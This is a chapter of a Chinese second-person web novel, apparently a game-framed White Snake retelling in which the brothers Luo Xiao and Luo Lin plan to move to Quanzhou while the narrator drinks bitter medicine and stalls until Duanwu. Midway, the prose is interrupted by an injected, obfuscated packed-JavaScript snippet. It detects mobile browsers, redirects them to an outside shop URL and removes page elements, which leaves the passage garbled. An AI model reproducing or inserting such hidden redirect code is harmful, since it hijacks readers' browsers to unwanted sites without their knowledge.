一条修炼了千年的蛇,它拥有着比寻常蛇类更为庞大的身躯,它蛰伏在暗处,嘶嘶吐露蛇信,冷锐的竖瞳死死锁住它的猎物,只待千钧一发…… 先是用尾巴缠绕,紧跟整个身躯盘旋而上,要很用力的拥抱,才能让冰冷的鳞片感受到人的体温。 “洛骁,你到底怎么想的?” 洛霖抛出的问题,一下将洛骁问住了。 是啊,他到底怎么想的。 他描述场景中的那个人,指的到底是洛霖,还是自己? 是谁想与你同处一个屋檐,又是谁想与你再没秘密,是谁想…… 用尾巴紧紧缠绕着你? 是他,还是…… 不!明明一开始不是这样的,明明一开始…… 他只是想,一时赌气。 可到头来,却是煽风点火自烧身。 洛骁撇过头,掩饰一般,“我没有怎么想。” 他不能这么想。 45. 妒 洛霖深深看了洛骁一眼,说道:“不管你怎么想,我已决定离开杭州。” 洛骁问:“因为那个和尚?” “是。即便你今日没在他面前露了身份,他日他细细回想,未必看不出什么。” 五百年了,他们谨小慎微的行走在这世间,像一只惊弓之鸟,只要听闻半点风声异动,便立刻敛去踪迹,另寻一处安身之地。 洛骁早已习惯这样的生活。 可习惯这样的生活并不等同于甘于这样的生活。 他曾经是那样的愤慨怨憎洛霖那畏手畏脚的行事风格,他宁愿放手一搏,大闹一场,哪怕最后的结局是死,也绝无怨尤。 可如今一切都在悄然间发生了改变。 在听到洛霖又一次为逃避而遁走的话时,洛骁的内心已变得无比平静。 “你打算什么时候动身?” “等小春身体好全就走。” “你要怎么跟她解释?” 当时在西湖,他们跟你说的是,因父母双亡,从川蜀到杭州寻亲戚落脚,顺便学做些生意。如今才到杭州两月,一事未成,贸然便说要走,总得有个合适的理由。 洛霖思索片刻,其实他也不知道该怎么向你解释,“走一步算一步,总会有法子的。” 就算这次能成功劝你随他们离开杭州,那以后呢? 以后的问题还有很多。 但洛骁没有再问下去。 既然要走一步算一步,那下一步还未到来,又何必提前去算呢? …… …… 隔日,洛骁端来一碗黑酽酽不知什么的东西来给你,他一靠近,你就闻到了一股又苦又涩的味道。 你皱起了眉头,“这是什么?” 洛骁笑眯眯道:“这是我哥特地到保和堂去给你抓的药,我熬了一个多时辰才熬好,你快趁热喝了吧。” 你:“……” 你面无表情道:“不了,谢谢。” 洛骁挑眉,“你该不会是怕喝药吧?” 你死鸭子嘴硬,“我只是觉得我已经没什么事了,用不着喝药。” “那就是怕喝药了。” “我不怕。” “那你喝了它。” “我……”顿了顿,你觉察出洛骁的意图,“激将法对我没用。” 洛骁眨眨眼,“诶,这么聪明,连我在用激将法都知道。” 你抬头望天,默默不语。 洛骁坐到你旁边,有意无意的靠近,软语求道:“你就喝了吧。就算不为你自己,好歹也看在我辛辛苦苦熬了一个时辰的份上。” 你幽幽道:“你很像潘金莲知道吗?” “潘金莲是谁?” 你微微一笑,“在那遥远的北方,有一貌美女子名叫潘金莲,因不甘嫁给现任丈夫武大郎而出轨当地豪绅西门庆。后来武大郎撞破二人奸情,又被西门庆踢成重伤,潘金莲便一不做二不休,与西门庆合谋下药毒死武大郎。” “当时潘金莲劝武大郎喝下毒药时,就是用的你这般语气。”当然不是,你只是借此调侃。 洛骁听后略微沉吟,道:“你说我是红杏出墙的奸妇?” “不是不是!”你赶忙解释,“我只是开个玩笑而已。” 洛骁半点都不介意,反而乐在其中,“按你这么说,我像潘金莲,你岂不就是武大郎?” “……我是林大郎。” “可如果你是武大郎的话,我根本不会出轨西门庆。”洛骁意有所指,“我只要守着你就够了。” “事实是,我不是武大郎,你也不是潘金莲,我方才只是跟你开了个玩笑,所以,我们就此打住。”你急叫停。 洛骁眉眼弯弯,似乎满肚子坏水。 他想的实际应该是,你是潘金莲,洛霖是武大郎,他是西门庆。 在你们这一版故事中,武大郎和潘金莲是一对恩爱和美的夫妻,而西门庆暗暗也是觊觎潘金莲的卑劣之徒。 西门庆碍于种种不能将潘金莲直接抢来,却又不甘寂寞的暗暗靠近,一心想引诱潘金莲红杏出墙。 “你们在聊什么?” 是洛霖。他来了。 “没聊什么!” “没聊什么。” 你和洛骁不约而同道。 洛霖目光幽微,在你二人身上流转。 你心下一紧,又解释道:“其实,我们是在聊你到瀛山书院听讲学的事,你不是说那位大学者见书院内有一口清澈方塘,总有活水不断注入,因而有感,提笔写下了一首诗么?” 奇怪,怎么有种欲盖弥彰的感觉。 你努力摆脱这种异样,“那首诗怎么念来着……” 洛霖接道:“半亩方塘一鉴开,天光云影共徘徊。问渠那得清如许?为有源头活水来。” “对!对!就是这首。” 洛霖笑道:“那些暂且放置一旁,你先将药喝了吧。药若是放凉了,药效就没那么好了。” “噢……好。” 你乖乖应下,端起碗捏着鼻子把药一口气喝了个精光。 苦!非常苦!且非常难喝! 喝完,你感觉整个人都要升华了。 这碗药到底经历了什么,才能被熬得这么难喝? 你整张脸都皱在了一起,洛霖适时送上一颗蜜饯给你,有蜜饯的甜味中和嘴里的苦味,你这才稍稍缓过来了些。 你满怀希冀的问:“这药喝完这次,就不用再喝了吧?” 然而现实总是残酷,洛霖说:“药一共开了三副,一副药煎两次,早晚各一回,得喝三天。” 也就是说,这么难喝的药你还得喝八回。 你顿觉前路惨淡,人生无望。 洛霖唇角漾开笑容,“就这么怕喝药么?” “是人都会怕吧!”你夸张道:“这药黑黢黢的一碗,味道又难闻,都不知道有多少草本精华白白糟蹋在了这锅药里。” 洛霖摸了摸你脑袋,“良药苦口。还要蜜饯么?” “……再来一颗。”你眼巴巴的竖起一根手指。 洛霖直接将整包都给了你。 裹着甜浆的蜜饯含在嘴里,甜而不齁,轻咬开还能尝到一丝果肉的清甜,嚼到最后舌尖还留着点点酸的余味。 “这蜜饯在哪儿买的,味道可真好,怎么先前到市集逛的时候都没注意过。”你一边吃,一边说:“洛骁,你要不要来一颗?” 洛骁没有回应。 你转身看他,却猛然撞进他静若深潭的眼里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127417|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你莫名呼吸一窒。 而他只是定定地、定定地看着你。 他求你喝药,你百般推脱。 洛霖过来说一句,你立马就喝了。 你们的相处那样若无旁人,又刺人眼球。 明明是两兄弟,怎么竟有如此天差地别。 心底里那股说不清道不明的情绪正不安分的翻涌着,几欲喷薄而出。 空气中弥漫着的苦涩的药香,一丝一缕钻入鼻腔,再顺着喉管一路直下,沉甸甸积攒在胃里,又原路返回冲上喉咙,欲吐不吐。 洛骁压抑着,状若平常,“好啊。” 他伸手从你掌心拿过一颗蜜饯,冰凉的指尖轻轻擦过你的皮肤,仿佛有股隐秘的电流袭向了你。 也正是这时,你才发现洛骁今日穿了件缥青色衣衫。这颜色与他往日惯常穿的沉郁螺青不同,缥青更为清透淡雅,如同初春时节的嫩柳新叶,衬得他整个人都鲜活了起来。 你收回视线,忽然觉得嘴里的甜也不再甜了,反而变得十分古怪起来。 洛霖踌躇着,挑拣措辞,“小春……我们,预备到泉州去了,你愿意同我们一起吗?” 真是突然。 “泉州?为什么?”你问。 去泉州的原因早已想好,只是说起来时仍不免磕磕绊绊。 “泉州是船港要地,番商往来众多,到那边去做生意,比留在杭州的机会多。况且,我已托亲戚在那边打点好了,他还在码头留了间铺子给我们,到那儿去,也不必担心住所的问题。” 这不是真的。这是假话。 你清楚的意识到。 可是为什么?为什么这么突然要离开杭州到泉州去? 难道,是你漏了馅,叫他们发现了什么? 这也说不通。 五月初五是白蛇传中的一个重要时间节点,错过了这次机会,再想引他们上昆仑,恐怕要生变故。 不论如何都得拖住他们。 你故作镇定,“你们打算什么时候动身?” “你身体一好就走。” “这么急?” “……嗯。你怎么想?”洛霖问道。 洛骁也正等着你的回应。 你低着头,心乱如麻,手指紧紧攥着一截衣角,“我……还不知道呢。要不,等过了端午再说,好么?” 洛霖松了口气,说道:“也好。”没有直接拒绝,对他来说就是好的。 “泉州距离杭州有千里路程,你初来杭州不久,一下又要到泉州去,确实要多做考虑。” “是啊。”你笑得勉强。 算了算日子,洛霖道:“距离端午还有五天,这几天里你好好休息……也好好考虑。” “好。” 说是还有五天的时间,但现在你已经有种迫在眉睫的焦躁感了。 怎么会这么快? 从西湖初遇,到清波门同住,再到经历红芍晚娘之事,这段时间仿佛转眼即逝,剧情也即将迎来了尾声。 回首前尘,恍若如梦。 到了五月初五,会是怎样的一番光景? 你心中已有答案,却不愿去想象。 可这是一个攻略游戏,你本就是为完成任务而来的,总不能半途而废。